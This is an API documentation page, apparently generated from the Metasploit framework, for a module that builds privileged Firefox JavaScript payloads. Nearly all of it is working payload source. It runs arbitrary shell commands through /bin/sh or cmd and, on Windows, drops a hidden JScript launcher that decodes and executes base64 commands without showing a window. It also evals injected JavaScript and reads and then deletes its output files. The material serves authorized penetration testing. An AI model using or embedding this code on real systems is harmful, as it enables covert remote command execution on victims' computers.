Module: Msf::Payload::Firefox

Includes:
Exploit::JSObfu
Defined in:
lib/msf/core/payload/firefox.rb

Instance Method Summary collapse

Methods included from Exploit::JSObfu

#initialize, #js_obfuscate

Instance Method Details

#jscript_launcher ⇒ String

This file is dropped on the windows platforms to a temp file in order to prevent the cmd.exe prompt from appearing. It is executed and then deleted.

Note: we should totally add a powershell replacement here.

base64 and runs it as a shell command.

Returns:

  • (String) —

    JScript that reads its command-line argument, decodes



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# File 'lib/msf/core/payload/firefox.rb', line 216

def jscript_launcher
  %Q|
    var b64 = WScript.arguments(0);
    var dom = new ActiveXObject("MSXML2.DOMDocument.3.0");
    var el  = dom.createElement("root");
    el.dataType = "bin.base64"; el.text = b64; dom.appendChild(el);
    var stream = new ActiveXObject("ADODB.Stream");
    stream.Type=1; stream.Open(); stream.Write(el.nodeTypedValue);
    stream.Position=0; stream.type=2; stream.CharSet = "us-ascii"; stream.Position=0;
    var cmd = stream.ReadText();
    (new ActiveXObject("WScript.Shell")).Run(cmd, 0, true);
  |
end

#read_file_source ⇒ String

Javascript source code of readFile(path) - synchronously reads a file and returns its contents. The file is deleted immediately afterwards.

Returns:

  • (String) —

    javascript source code that exposes the readFile(path) method



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# File 'lib/msf/core/payload/firefox.rb', line 56

def read_file_source
  %Q|
    var readFile = function(path) {
      try {
        var file = Components.classes["@mozilla.org/file/local;1"]
                 .createInstance(Components.interfaces.nsILocalFile);
        file.initWithPath(path);

        var fileStream = Components.classes["@mozilla.org/network/file-input-stream;1"]
                         .createInstance(Components.interfaces.nsIFileInputStream);
        fileStream.init(file, 1, 0, false);

        var binaryStream = Components.classes["@mozilla.org/binaryinputstream;1"]
                           .createInstance(Components.interfaces.nsIBinaryInputStream);
        binaryStream.setInputStream(fileStream);
        var array = binaryStream.readByteArray(fileStream.available());

        binaryStream.close();
        fileStream.close();
        file.remove(true);

        return array.map(function(aItem) { return String.fromCharCode(aItem); }).join("");
      } catch (e) { return ""; }
    };
  |
end

#read_until_token_source ⇒ String

Javascript source of readUntilToken(s) Continues reading the stream as data is available, until a pair of

command tokens like [[aBcD123ffh]] [[aBcD123ffh]] is consumed.

Returns a function that can be passed to the #onDataAvailable callback of

nsIInputStreamPump that will buffer until a second token is read, or, in
the absence of any tokens, a newline character is read.

Returns:

  • (String) —

    javascript source code that exposes the readUntilToken(cb) function



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# File 'lib/msf/core/payload/firefox.rb', line 30

def read_until_token_source
  %Q|
    var readUntilToken = function(cb) {
      Components.utils.import("resource://gre/modules/NetUtil.jsm");

      var buffer = '', m = null;
      return function(request, context, stream, offset, count) {
        buffer += NetUtil.readInputStreamToString(stream, count);
        if (buffer.match(/^(\\[\\[\\w{8}\\]\\])/)) {
          if (m = buffer.match(/^(\\[\\[\\w{8}\\]\\])([\\s\\S]*)\\1/)) {
            cb(m[2]);
            buffer = '';
          }
        } else if (buffer.indexOf("\\n") > -1) {
          cb(buffer);
          buffer = '';
        }
      };
    };
  |
end

#run_cmd_source ⇒ String

Javascript source code of runCmd(str,cb) - runs a shell command on the OS

Because of a limitation of firefox, we cannot retrieve the shell output so the stdout/err are instead redirected to a temp file, which is read and destroyed after the command completes.

On posix, the command is double wrapped in “/bin/sh -c” calls, the outer of which redirects stdout.

On windows, the command is wrapped in two “cmd /c” calls, the outer of which redirects stdout. A JScript “launch” file is dropped and invoked with wscript to run the command without displaying the cmd.exe prompt.

When the command contains the pattern “[JAVASCRIPT] … [/JAVASCRIPT]”, the javascript code between the tags is eval’d and returned.

Returns:

  • (String) —

    javascript source code that exposes the runCmd(str) method.



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# File 'lib/msf/core/payload/firefox.rb', line 100

def run_cmd_source
  %Q|
    #{read_file_source}
    #{set_timeout_source}

    var ua = Components.classes["@mozilla.org/network/protocol;1?name=http"]
      .getService(Components.interfaces.nsIHttpProtocolHandler).userAgent;
    var windows = (ua.indexOf("Windows")>-1);
    var svcs = Components.utils.import("resource://gre/modules/Services.jsm");
    var jscript = (#{JSON.unparse({:src => jscript_launcher})}).src;
    var runCmd = function(cmd, cb) {
      cb = cb \|\| (function(){});

      if (cmd.trim().length == 0) {
        setTimeout(function(){ cb("Command is empty string ('')."); });
        return;
      }

      var js = (/^\\s*\\[JAVASCRIPT\\]([\\s\\S]*)\\[\\/JAVASCRIPT\\]/g).exec(cmd.trim());
      if (js) {
        var tag = "[!JAVASCRIPT]";
        var sync = true;  /* avoid zalgo's reach */
        var sent = false;
        var retVal = null;

        try {
          this.send = function(r){
            if (sent) return;
            sent = true;
            if (r) {
              if (sync) setTimeout(function(){ cb(false, r+tag+"\\n"); });
              else      cb(false, r+tag+"\\n");
            }
          };
          retVal = Function(js[1]).call(this);
        } catch (e) { retVal = e.message; }

        sync = false;

        if (retVal && !sent) {
          sent = true;
          setTimeout(function(){ cb(false, retVal+tag+"\\n"); });
        }

        return;
      }

      var shEsc = "\\\\$&";
      var shPath = "/bin/sh -c";

      if (windows) {
        shPath = "cmd /c";
        shEsc = "\\^$&";
        var jscriptFile = Components.classes["@mozilla.org/file/directory_service;1"]
          .getService(Components.interfaces.nsIProperties)
          .get("TmpD", Components.interfaces.nsIFile);
        jscriptFile.append('#{Rex::Text.rand_text_alphanumeric(8+rand(12))}.js');
        var stream = Components.classes["@mozilla.org/network/safe-file-output-stream;1"]
          .createInstance(Components.interfaces.nsIFileOutputStream);
        stream.init(jscriptFile, 0x04 \| 0x08 \| 0x20, 0666, 0);
        stream.write(jscript, jscript.length);
        if (stream instanceof Components.interfaces.nsISafeOutputStream) {
          stream.finish();
        } else {
          stream.close();
        }
      }

      var stdoutFile = "#{Rex::Text.rand_text_alphanumeric(8+rand(12))}";

      var stdout = Components.classes["@mozilla.org/file/directory_service;1"]
        .getService(Components.interfaces.nsIProperties)
        .get("TmpD", Components.interfaces.nsIFile);
      stdout.append(stdoutFile);

      var shell;
      cmd = cmd.trim();
      if (windows) {
        shell = shPath+" "+cmd;
        shell = shPath+" "+shell.replace(/\\W/g, shEsc)+" >"+stdout.path+" 2>&1";
        var b64 = svcs.btoa(shell);
      } else {
        shell = shPath+" "+cmd.replace(/\\W/g, shEsc);
        shell = shPath+" "+shell.replace(/\\W/g, shEsc) + " >"+stdout.path+" 2>&1";
      }

      var process = Components.classes["@mozilla.org/process/util;1"]
        .createInstance(Components.interfaces.nsIProcess);
      var sh = Components.classes["@mozilla.org/file/local;1"]
                 .createInstance(Components.interfaces.nsILocalFile);

      if (windows) {
        sh.initWithPath("C:\\\\Windows\\\\System32\\\\wscript.exe");
        process.init(sh);
        var args = [jscriptFile.path, b64];
        process.run(true, args, args.length);
        jscriptFile.remove(true);
        setTimeout(function(){cb(false, cmd+"\\n"+readFile(stdout.path));});
      } else {
        sh.initWithPath("/bin/sh");
        process.init(sh);
        var args = ["-c", shell];
        process.run(true, args, args.length);
        setTimeout(function(){cb(false, readFile(stdout.path));});
      }
    };
  |
end

#set_timeout_source ⇒ String

Javascript source code of setTimeout(fn, delay)

Returns:

  • (String) —

    javascript source code that exposes the setTimeout(fn, delay) method



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# File 'lib/msf/core/payload/firefox.rb', line 11

def set_timeout_source
  %Q|
    var setTimeout = function(cb, delay) {
      var timer = Components.classes["@mozilla.org/timer;1"].createInstance(Components.interfaces.nsITimer);
      timer.initWithCallback({notify:cb}, delay, Components.interfaces.nsITimer.TYPE_ONE_SHOT);
      return timer;
    };
  |
end